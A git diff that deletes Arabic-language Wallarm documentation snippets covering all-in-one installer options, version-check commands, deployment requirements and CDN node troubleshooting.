السحابة وبدء خدمتها. يتطلب --batch. --t, --token TOKEN رمز العقدة، مطلوب في الوضع الدفعي. --c, --cloud CLOUD سحابة Wallarm، إحدى US/EU، الافتراضي هو EU، يُستخدم فقط في الوضع الدفعي. --H, --host HOST عنوان واجهة برمجة تطبيقات Wallarm، على سبيل المثال، api.wallarm.com أو us1.api.wallarm.com، يُستخدم فقط في الوضع الدفعي. --P, --port PORT منفذ واجهة برمجة تطبيقات Wallarm، على سبيل المثال، 443. - --no-ssl تعطيل SSL للوصول إلى واجهة برمجة تطبيقات Wallarm. - --no-verify تعطيل التحقق من شهادات SSL. --f, --force إذا كانت هناك عقدة بنفس الاسم، إنشاء نسخة جديدة. --h, --help - --version -``` - -### الوضع الدفعي - -الخيار `--batch` يُفعّل الوضع **الدفعي (غير التفاعلي)**، حيث يتطلب السكربت خيارات الإعداد عبر العلامات `--token` و `--cloud`، بالإضافة إلى متغير البيئة `WALLARM_LABELS` إذا لزم الأمر. في هذا الوضع، لا يطلب السكربت من المستخدم إدخال البيانات خطوة بخطوة كما في الوضع الافتراضي؛ بدلاً من ذلك، يتطلب أوامر صريحة للتفاعل. - -أدناه أمثلة لأوامر تشغيل السكربت في الوضع الدفعي لتثبيت العقدة، بالافتراض أن السكربت قد تم [تحميله][download-aio-step]: - -=== "سحابة الولايات المتحدة" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c US - - # إذا كنت تستخدم النسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "سحابة الاتحاد الأوروبي" - ```bash - # إذا كنت تستخدم النسخة x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t - - # إذا كنت تستخدم النسخة ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t - ``` - -### تنفيذ مراحل تثبيت العقدة بشكل منفصل - -عند تحضير صورة الجهاز الخاصة بك باستخدام المثبت المتكامل لبنية السحابة، قد لا يكفي عملية التثبيت القياسية الموضحة في هذا المقال. بدلاً من ذلك، سيكون عليك تنفيذ مراحل محددة من المثبت المتكامل بشكل منفصل لتلبية متطلبات إنشاء ونشر صورة الجهاز: - -1. بناء صورة الجهاز: في هذه المرحلة، من الضروري تحميل الثنائيات والمكتبات وملفات التكوين لعقدة التصفية وإنشاء صورة الجهاز استناداً إليها. باستخدام العلم `--install-only`، يقوم السكربت بنسخ الملفات المطلوبة وتعديل إعدادات NGINX لتشغيل العقدة. إذا كنت ترغب في إجراء تعديلات يدوية، يمكنك اختيار تجاوز تعديل ملف NGINX باستخدام العلم `--skip-ngx-config`. -1. تهيئة نسخة سحابية باستخدام cloud-init: خلال تهيئة النسخة، يمكن تنفيذ مرحلة التمهيد (تسجيل السحابة وبدء الخدمة) باستخدام سكربتات cloud-init. يمكن تشغيل هذه المرحلة بشكل مستقل عن مرحلة البناء باستخدام العلم `--register-only` على السكربت `/opt/wallarm/setup.sh` المنسوخ خلال مرحلة البناء. - -هذه الوظيفة مدعومة بدءاً من الإصدار 4.10.0 من المثبت المتكامل في الوضع الدفعي. تُمكّن الأوامر أدناه من تنفيذ الخطوات الموضحة بتسلسل: - -=== "سحابة الولايات المتحدة" - ```bash - # إذا كنت تستخدم النسخة x86_64: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.x86_64-glibc.sh - sudo sh wallarm-4.10.2.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # إذا كنت تستخدم النسخة ARM64: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.aarch64-glibc.sh - sudo sh wallarm-4.10.2.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "سحابة الاتحاد الأوروبي" - ``` - # إذا كنت تستخدم النسخة x86_64: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.x86_64-glibc.sh - sudo sh wallarm-4.10.2.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # إذا كنت تستخدم النسخة ARM64: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.2.aarch64-glibc.sh - sudo sh wallarm-4.10.2.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -أخيراً، لإكمال التثبيت، تحتاج إلى [تمكين Wallarm لتحليل الحركة][enable-traffic-analysis-step] و[إعادة تشغيل NGINX][restart-nginx-step]. - -### تثبيت عقد التصفية وما بعد التحليلات بشكل منفصل - -يوفر خيار التبديل filtering/postanalytics الخيار لتثبيت وحدة ما بعد التحليلات [بشكل منفصل][separate-postanalytics-installation-aio]. بدون هذا الخيار، يتم تثبيت كل من مكونات التصفية وما بعد التحليلات معًا بشكل افتراضي. \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one/separate-postanalytics-reqs.md b/include-ar/waf/installation/all-in-one/separate-postanalytics-reqs.md deleted file mode 100644 index 6292ac4efd..0000000000 --- a/include-ar/waf/installation/all-in-one/separate-postanalytics-reqs.md +++ /dev/null @@ -1,5 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** والتحقق الثنائي مُعطل في واجهة Wallarm للمستخدمين لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تنفيذ جميع الأوامر كمستخدم رئيسي (مثل `root`) -* الوصول إلى `https://meganode.wallarm.com` لتنزيل مُثبت Wallarm الموحد. تأكد من عدم حظر الوصول بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع سحابة Wallarm الأوروبية. إذا كان يُمكن تكوين الوصول عبر خادم الوكيل فقط، استخدم [التعليمات][configure-proxy-balancer-instr] -* تثبيت محرر نصوص **vim**، **nano**، أو أي محرر آخر. في الأوامر المذكورة في هذا المقال، يتم استخدام **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/all-in-one/use-cases.md b/include-ar/waf/installation/all-in-one/use-cases.md deleted file mode 100644 index 698cf32bc9..0000000000 --- a/include-ar/waf/installation/all-in-one/use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين جميع خيارات النشر المدعومة من [Wallarm][platform]، تعد هذه الحلول الخيار الموصى به للحالات الاستخدامية التالية: - -* تقوم البنية التحتية لديك على الأجهزة الفعلية أو الآلات الافتراضية دون استخدام طرق قائمة على الحاويات. عادةً، تُدار هذه الإعدادات بأدوات البنية التحتية كرمز (IaC) مثل Ansible أو SaltStack. -* خدماتك مبنية حول NGINX. يمكن لـWallarm أن تمدد وظائفه باستخدام المثبت الشامل. \ No newline at end of file diff --git a/include-ar/waf/installation/already-deployed-cloud-instance.md b/include-ar/waf/installation/already-deployed-cloud-instance.md deleted file mode 100644 index 7121c5037a..0000000000 --- a/include-ar/waf/installation/already-deployed-cloud-instance.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "إذا نشرت عدة عقد Wallarm" - يجب أن تكون جميع عقد Wallarm المنشورة في بيئتك من **نفس الإصدارات**. يجب أن تكون وحدات ما بعد التحليل المثبتة على الخوادم المنفصلة من **نفس الإصدارات** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من أن إصدارها يتطابق مع إصدار الوحدات المنشورة بالفعل. إذا كان إصدار الوحدة المنشورة [مهملاً أو سيتم إهماله قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - للتحقق من الإصدار المطلق، قم بالاتصال بالنموذج الجاري ونفذ الأمر التالي: - - ``` - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-deployed-envoy-docker-image.md b/include-ar/waf/installation/already-deployed-envoy-docker-image.md deleted file mode 100644 index 2e00a16940..0000000000 --- a/include-ar/waf/installation/already-deployed-envoy-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "إذا قمت بتوزيع عقد Wallarm متعددة" - يجب أن تكون جميع عقد Wallarm الموزعة في بيئتك من **نفس الإصدارات**. يجب أن تكون وحدات ما بعد التحليل المثبتة على الخوادم المنفصلة من **نفس الإصدارات** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من أن إصدارها يتطابق مع إصدار الوحدات المثبتة مسبقًا. إذا كان إصدار الوحدة الموزعة [سيتم إيقافه أو قد تم إيقافه قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - للتحقق من الإصدار المثبت، قم بتشغيل الأمر التالي في الحاوية: - - ```bash - yum list wallarm-node - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-deployed-nginx-docker-image.md b/include-ar/waf/installation/already-deployed-nginx-docker-image.md deleted file mode 100644 index d5913a9eb8..0000000000 --- a/include-ar/waf/installation/already-deployed-nginx-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "إذا قمت بتوظيف عدة عقد من Wallarm" - يجب أن تكون جميع العقد الموظفة في بيئتك من **نفس الإصدارات**. يجب أن تكون وحدات التحليلات اللاحقة المثبتة على الخوادم المنفصلة من **نفس الإصدارات** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من مطابقة إصدارها لإصدار الوحدات المثبتة مسبقا. إذا كان إصدار الوحدة المثبتة [مهملا أو سيتم إهماله قريبا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - للتحقق من الإصدار المثبت، قم بتشغيل الأمر التالي في الحاوية: - - ```bash - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-deployed-sidecar-helm.md b/include-ar/waf/installation/already-deployed-sidecar-helm.md deleted file mode 100644 index edd387f671..0000000000 --- a/include-ar/waf/installation/already-deployed-sidecar-helm.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "إذا نشرت عدة عقد Wallarm" - يجب أن تكون جميع العقد Wallarm المنشورة في بيئتك من **نفس النسخ**. يجب أيضًا أن تكون وحدات التحليلات اللاحقة المثبتة على الخوادم المنفصلة من **نفس النسخ**. - - قبل تثبيت العقدة الإضافية، الرجاء التأكد من أن نسختها تتطابق مع نسخة الوحدات المنشورة مسبقًا. إذا كانت نسخة الوحدة المنشورة [قديمة أو ستصبح قديمة قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى النسخة الأخيرة. - - يُحدد إصدار صورة عقدة تصفية Wallarm المنشورة في ملف تكوين مخطط Helm → `wallarm.image.tag`. \ No newline at end of file diff --git a/include-ar/waf/installation/already-deployed-sidecar-manifests.md b/include-ar/waf/installation/already-deployed-sidecar-manifests.md deleted file mode 100644 index 90e0518d93..0000000000 --- a/include-ar/waf/installation/already-deployed-sidecar-manifests.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "إذا قمت بتشغيل عدة عقد Wallarm" - يجب أن تكون جميع عقد Wallarm المُنشرة في بيئتك من **الإصدارات نفسها**. يجب أن تكون وحدات ما بعد التحليل المُثبتة على الخوادم المنفصلة من **الإصدارات نفسها** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من أن إصدارها يطابق إصدار الوحدات المُنشرة بالفعل. إذا كان إصدار الوحدة المُنشرة [مهجورًا أو سيتم إهماله قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - يُحدد إصدار صورة عقدة تصفية Wallarm المُنشرة في قالب النشر → قسم `spec.template.spec.containers` → `image` لحاوية Wallarm. \ No newline at end of file diff --git a/include-ar/waf/installation/already-installed-waf-postanalytics-36.md b/include-ar/waf/installation/already-installed-waf-postanalytics-36.md deleted file mode 100644 index b5822634f2..0000000000 --- a/include-ar/waf/installation/already-installed-waf-postanalytics-36.md +++ /dev/null @@ -1,54 +0,0 @@ -!!! info "إذا نشرت عدة عقد Wallarm" - يجب أن تكون جميع العقد Wallarm المنشورة في بيئتك من **نفس الإصدارات**. يجب أن تكون وحدات التحليل اللاحقة المثبتة على الخوادم المنفصلة من **نفس الإصدارات** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من مطابقة إصدارها لإصدار الوحدات المنشورة مسبقًا. إذا كان إصدار الوحدة المنشورة [متقادمًا أو سيتقادم قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى الإصدار الأخير. - - للتحقق من الإصدار المثبت لعقدة التصفية والتحليل اللاحق على نفس الخادم: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - للتحقق من إصدارات عقدة التصفية والتحليل اللاحق المثبتة على خوادم مختلفة: - - === "Debian" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة التصفية Wallarm عليه - apt list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت التحليل اللاحق عليه - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة التصفية Wallarm عليه - apt list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت التحليل اللاحق عليه - apt list wallarm-node-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة التصفية Wallarm عليه - yum list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت التحليل اللاحق عليه - yum list wallarm-node-tarantool - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة التصفية Wallarm عليه - yum list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت التحليل اللاحق عليه - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-installed-waf-postanalytics-distr-36.md b/include-ar/waf/installation/already-installed-waf-postanalytics-distr-36.md deleted file mode 100644 index 7a7a026507..0000000000 --- a/include-ar/waf/installation/already-installed-waf-postanalytics-distr-36.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "إذا قمت بتوظيف عدة عقد Wallarm" - يجب أن تكون جميع عقد Wallarm الموظفة في بيئتك من **الإصدارات نفسها**. يجب أن تكون وحدات ما بعد التحليل المثبتة على الخوادم المنفصلة من **الإصدارات نفسها** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من أن إصدارها يتطابق مع إصدار الوحدات الموظفة بالفعل. إذا كان إصدار الوحدة الموظفة [مهملاً أو سيتم إهماله قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - لفحص إصدار عقدة التصفية ووحدة ما بعد التحليل الموظفة على الخادم نفسه: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - لفحص إصدار عقدة التصفية ووحدة ما بعد التحليل الموظفة على خوادم مختلفة: - - === "Debian" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة تصفية Wallarm عليه - apt list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت ما بعد التحليل عليه - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة تصفية Wallarm عليه - yum list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت ما بعد التحليل عليه - yum list wallarm-node-tarantool - ``` - === "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة تصفية Wallarm عليه - yum list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت ما بعد التحليل عليه - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-installed-waf-postanalytics-distr.md b/include-ar/waf/installation/already-installed-waf-postanalytics-distr.md deleted file mode 100644 index 912cbcc790..0000000000 --- a/include-ar/waf/installation/already-installed-waf-postanalytics-distr.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "إذا قمت بتثبيت عدة عقد من Wallarm" - يجب أن تكون جميع العقد من Wallarm الموجودة في بيئتك بـ**نفس الإصدارات**. يجب أن تكون وحدات التحليل اللاحق المثبتة على الخوادم المنفصلة أيضًا من **نفس الإصدارات**. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من أن إصدارها يطابق إصدار الوحدات الموجودة مسبقًا. إذا كان إصدار الوحدة الموجودة [مهملاً أو سيصبح مهملاً قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - للتحقق من إصدار العقدة الفلترة ووحدة التحليل اللاحق المثبتة على نفس الخادم: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - للتحقق من إصدار العقدة الفلترة ووحدة التحليل اللاحق المثبتة على خوادم مختلفة: - - === "Debian" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة Wallarm للفلترة عليه - apt list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت التحليل اللاحق عليه - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # تشغيل من الخادم الذي تم تثبيت عقدة Wallarm للفلترة عليه - yum list wallarm-node-nginx - # تشغيل من الخادم الذي تم تثبيت التحليل اللاحق عليه - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-installed-waf-postanalytics-kong.md b/include-ar/waf/installation/already-installed-waf-postanalytics-kong.md deleted file mode 100644 index 41fac80445..0000000000 --- a/include-ar/waf/installation/already-installed-waf-postanalytics-kong.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "إذا نشرت عدة عقد Wallarm" - يجب أن تكون جميع عقد Wallarm المنشورة في بيئتك من **نفس الإصدارات**. يجب أن تكون وحدات التحليلات بعد الحدث المثبتة على الخوادم المنفصلة من **نفس الإصدارات** أيضًا. - - قبل تثبيت العقدة الإضافية، يرجى التأكد من أن إصدارها يتطابق مع إصدار الوحدات المنشورة بالفعل. إذا كان إصدار الوحدة المنشورة قد [أصبح قديمًا أو سيصبح قديمًا قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى الإصدار الأخير. - - لفحص إصدار عقدة الترشيح ووحدة التحليلات بعد الحدث المثبتة على نفس الخادم: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - لفحص إصدار عقدة الترشيح ووحدة التحليلات بعد الحدث المثبتة على خوادم مختلفة: - - === "Debian" - ```bash - # يتم التشغيل من الخادم الذي تم تثبيت عقدة ترشيح Wallarm عليه - apt list wallarm-node-nginx - # يتم التشغيل من الخادم الذي تم تثبيت التحليلات بعد الحدث عليه - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # يتم التشغيل من الخادم الذي تم تثبيت عقدة ترشيح Wallarm عليه - apt list wallarm-node-nginx - # يتم التشغيل من الخادم الذي تم تثبيت التحليلات بعد الحدث عليه - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # يتم التشغيل من الخادم الذي تم تثبيت عقدة ترشيح Wallarm عليه - yum list wallarm-node-nginx - # يتم التشغيل من الخادم الذي تم تثبيت التحليلات بعد الحدث عليه - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/already-installed-waf-postanalytics.md b/include-ar/waf/installation/already-installed-waf-postanalytics.md deleted file mode 100644 index 11c6df7873..0000000000 --- a/include-ar/waf/installation/already-installed-waf-postanalytics.md +++ /dev/null @@ -1,42 +0,0 @@ -!!! info "إذا قمت بنشر عدة وحدات Wallarm" - يجب أن تكون جميع وحدات Wallarm المنشورة في بيئتك من **نفس الإصدارات**. يجب أن تكون وحدات ما بعد التحليل المثبتة على خوادم مفصولة من **نفس الإصدارات** أيضًا. - - قبل تثبيت الوحدة الإضافية، يرجى التأكد من أن إصدارها يتطابق مع إصدار الوحدات المنشورة بالفعل. إذا كانت نسخة الوحدة المنشورة [مهملة أو ستُهمل قريبًا (`4.0` أو أقل)][versioning-policy]، قم بترقية جميع الوحدات إلى أحدث إصدار. - - للتحقق من الإصدار المثبت لوحدة التصفية وما بعد التحليل المثبتة على نفس الخادم: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - yum list wallarm-node - ``` -للتحقق من إصدارات وحدة التصفية وما بعد التحليل المثبتة على خوادم مختلفة: - - === "Debian" - ```bash - # يتم تنفيذه من الخادم الذي به وحدة تصفية Wallarm مثبتة - apt list wallarm-node-nginx - # يتم تنفيذه من الخادم الذي به ما بعد التحليل مثبت - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # يتم تنفيذه من الخادم الذي به وحدة تصفية Wallarm مثبتة - apt list wallarm-node-nginx - # يتم تنفيذه من الخادم الذي به ما بعد التحليل مثبت - apt list wallarm-node-tarantool - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - # يتم تنفيذه من الخادم الذي به وحدة تصفية Wallarm مثبتة - yum list wallarm-node-nginx - # يتم تنفيذه من الخادم الذي به ما بعد التحليل مثبت - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/basic-reqs-for-upgrades.md b/include-ar/waf/installation/basic-reqs-for-upgrades.md deleted file mode 100644 index 8464dd929f..0000000000 --- a/include-ar/waf/installation/basic-reqs-for-upgrades.md +++ /dev/null @@ -1,2 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** في واجهة Wallarm عبر [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع سحابة Wallarm الأوروبية. يُرجى التأكد من عدم حجب الوصول بواسطة جدار الحماية \ No newline at end of file diff --git a/include-ar/waf/installation/cdn-node/cdn-node-configuration-options.md b/include-ar/waf/installation/cdn-node/cdn-node-configuration-options.md deleted file mode 100644 index aefdf710a5..0000000000 --- a/include-ar/waf/installation/cdn-node/cdn-node-configuration-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [تكوين وضع ترشيح حركة المرور][operation-mode-rule-docs] -* [تخصيص قواعد ترشيح حركة المرور][rules-docs] -* [قائمة السماح والحظر والقائمة الرمادية لعناوين IP][ip-lists-docs] -* إعداد إشعارات الأحداث النظامية من خلال [التكاملات الأصلية مع أدوات DevOps][integration-docs]و[المشغلات][trigger-docs] -* [استخدام واجهة المستخدم في قسم **العُقد**][nodes-ui-docs] لتحديث عنوان المصدر للمورد المحمي، وتحميل الشهادة الخاصة بـ SSL/TLS، وحذف عقد CDN -* [اختيار ما إذا كان سيتم استخدام ذاكرة التخزين المؤقت Varnish][using-varnish-cache] لتسريع تسليم المحتوى. \ No newline at end of file diff --git a/include-ar/waf/installation/cdn-node/cdn-node-deployment-requirements.md b/include-ar/waf/installation/cdn-node/cdn-node-deployment-requirements.md deleted file mode 100644 index e2f17c66f2..0000000000 --- a/include-ar/waf/installation/cdn-node/cdn-node-deployment-requirements.md +++ /dev/null @@ -1,4 +0,0 @@ -* يجب أن يكون الموقع الذي سيتم حمايته من الدرجة الثالثة (أو أقل) للنطاق -* العنوان `IPv4` المرتبط بالموقع (`IPv6` غير مدعوم) -* صلاحيات وصول كافية لتعديل سجلات `DNS` للنطاق -* مُنح المستخدم الذي سيقوم بتهيئة عقدة `CDN` [الدور][user-roles-docs] **المدير** \ No newline at end of file diff --git a/include-ar/waf/installation/cdn-node/cdn-node-troubleshooting.md b/include-ar/waf/installation/cdn-node/cdn-node-troubleshooting.md deleted file mode 100644 index d7f1f274a8..0000000000 --- a/include-ar/waf/installation/cdn-node/cdn-node-troubleshooting.md +++ /dev/null @@ -1,69 +0,0 @@ -### ماذا تعني حالات عقد CDN؟ - -قد تظهر الحالات التالية في قسم **العقد** بوحدة تحكم Wallarm لعقد CDN: - -* **قيد التسجيل**: Wallarm يقوم بتسجيل عقدة CDN في مزود خدمة السحاب. - - الإجراء المطلوب: الانتظار حتى حالة **يتطلب CNAME** لإضافة سجل CNAME الخاص بWallarm إلى سجلات DNS للنطاق المحمي. -* **يتطلب CNAME**: سجل CNAME الخاص بWallarm لم يتم إضافته إلى سجلات DNS للنطاق المحمي أو تمت إضافته ولكن لم ينتشر بعد. - - الإجراء المطلوب: إضافة سجل CNAME الذي يوفره Wallarm إلى سجلات DNS للنطاق المحمي أو الانتظار حتى تصبح التغييرات فعالة على الإنترنت. - - إذا لم تصبح التغييرات فعالة لأكثر من 24 ساعة، الرجاء التحقق من أن مزود النطاق الخاص بك قام بتحديث سجلات DNS بنجاح. إذا كان الأمر كذلك، ولكن حالة **لم ينتشر بعد** ما زالت معروضة في وحدة تحكم Wallarm، يرجى الاتصال ب[دعم فني Wallarm](mailto:support@wallarm.com). - - الحالة المتوقعة التالية هي **نشطة**. -* **قيد التكوين**: Wallarm يعالج التغيير في عنوان المنشأ أو شهادة SSL/TLS. - - الإجراء المطلوب: الانتظار حتى حالة **نشطة**. -* **نشطة**: عقدة CDN الخاصة بWallarm تخفف من حركة الإنترنت الضارة. - - الإجراء المطلوب: لا شيء. يمكنك مراقبة [الأحداث][events-docs] التي تكتشفها عقدة CDN. -* **قيد الحذف**: Wallarm يحذف عقدة CDN. - - الإجراء المطلوب: لا شيء، الرجاء الانتظار حتى يتم الانتهاء من الحذف. - -### كيف يمكن تحديد انتشار سجل CNAME؟ - -قسم **العقد** في وحدة تحكم Wallarm يعرض الحالة الفعلية لمدى تأثير سجل CNAME الخاص بWallarm على الإنترنت. إذا تم انتشار سجل CNAME، فإن حالة العقدة CDN تكون **نشطة**. - -بالإضافة إلى ذلك، يمكنك التحقق من رؤوس استجابة HTTP باستخدام الطلب التالي: - -```bash -curl -v -``` - -إذا تم انتشار سجل CNAME الخاص بWallarm، ستحتوي الاستجابة على رؤوس `section-io-*`. - -إذا لم يتم انتشار سجل CNAME لأكثر من 24 ساعة، الرجاء التأكد من أن مزود النطاق قام بتحديث سجلات DNS بنجاح. إذا كان الأمر كذلك، ولكن حالة **لم ينتشر بعد** ما زالت معروضة في وحدة تحكم Wallarm، يرجى الاتصال ب[دعم فني Wallarm](mailto:support@wallarm.com). - -### العقدة CDN مميزة باللون الأحمر في قسم **العقد**. ماذا يعني هذا؟ - -إذا كانت العقدة CDN مميزة باللون الأحمر في قسم **العقد**، فقد حدث خطأ أثناء تسجيلها أو تكوينها للأسباب التالية المحتملة: - -* خطأ غير معروف أثناء تسجيل العقدة في مزود السحاب الخارجي - - الإجراء المطلوب: الاتصال ب[دعم فني Wallarm](mailto:support@wallarm.com). -* شهادة SSL/TLS مخصصة غير صالحة - - الإجراء المطلوب: التأكد من صلاحية الشهادة المرفوعة. إذا لم تكن كذلك، قم برفع الشهادة الصالحة. - -العقدة CDN المميزة باللون الأحمر لا تعمل كوكيل للطلبات ونتيجة لذلك، لا تخفف من حركة الإنترنت الضارة. - -### لماذا قد تختفي عقدة CDN من قائمة العقد في وحدة تحكم Wallarm؟ - -Wallarm يحذف عقد CDN التي ظل سجل CNAME الخاص بها دون تغيير لمدة 10 أيام أو أكثر منذ لحظة إنشاء العقدة. - -إذا وجدت أن عقدة CDN قد اختفت، قم بإنشاء عقدة جديدة. - -### لماذا يوجد تأخير في تحديث المحتوى المحمي بعقدة CDN؟ - -إذا كان موقعك محميًا بعقدة CDN ولاحظت أنك عندما تغير بياناتك، يتم تحديث الموقع بتأخير ملحوظ، فقد يكون السبب المحتمل هو [Varnish Cache][using-varnish-cache] الذي يسرع توصيل المحتوى الخاص بك، ولكن قد يتم تحديث النسخة المخزنة مؤقتًا على CDN بتأخير. - -مثال: - -1. لديك Varnish Cache ممكِن لعقدة CDN الخاصة بك. -1. قمت بتحديث أسعار على موقعك. -1. جميع الطلبات تتم عبر CDN، والذاكرة المخبأة لا تتم تحديثها على الفور. -1. يرى المستخدمون الأسعار القديمة لبعض الوقت. - -لحل المشكلة، يمكنك تعطيل Varnish Cache. للقيام بذلك، انتقل إلى **العقد** → قائمة عقدة CDN → **تعطيل Varnish Cache**. \ No newline at end of file diff --git a/include-ar/waf/installation/cdn-node/how-cdn-node-works.md b/include-ar/waf/installation/cdn-node/how-cdn-node-works.md deleted file mode 100644 index cdecb3d780..0000000000 --- a/include-ar/waf/installation/cdn-node/how-cdn-node-works.md +++ /dev/null @@ -1,19 +0,0 @@ -يعمل عقدة Wallarm CDN كوكيل عكسي للخادم المحمي. يقوم بتحليل حركة المرور الواردة، ويخفف من الطلبات الضارة ويوجه الطلبات المشروعة إلى الخادم المحمي. - -![مخطط عمل العقدة CDN][cdn-node-operation-scheme] - -!!! warning "ما يمكن حمايته باستخدام عقدة CDN" - باستخدام عقدة CDN، يمكنك حماية النطاقات من المستوى الثالث (أو أدنى، مثل الرابع، الخامس، إلخ). على سبيل المثال، يمكنك إنشاء عقدة CDN لـ `ple.example.com`، ولكن ليس 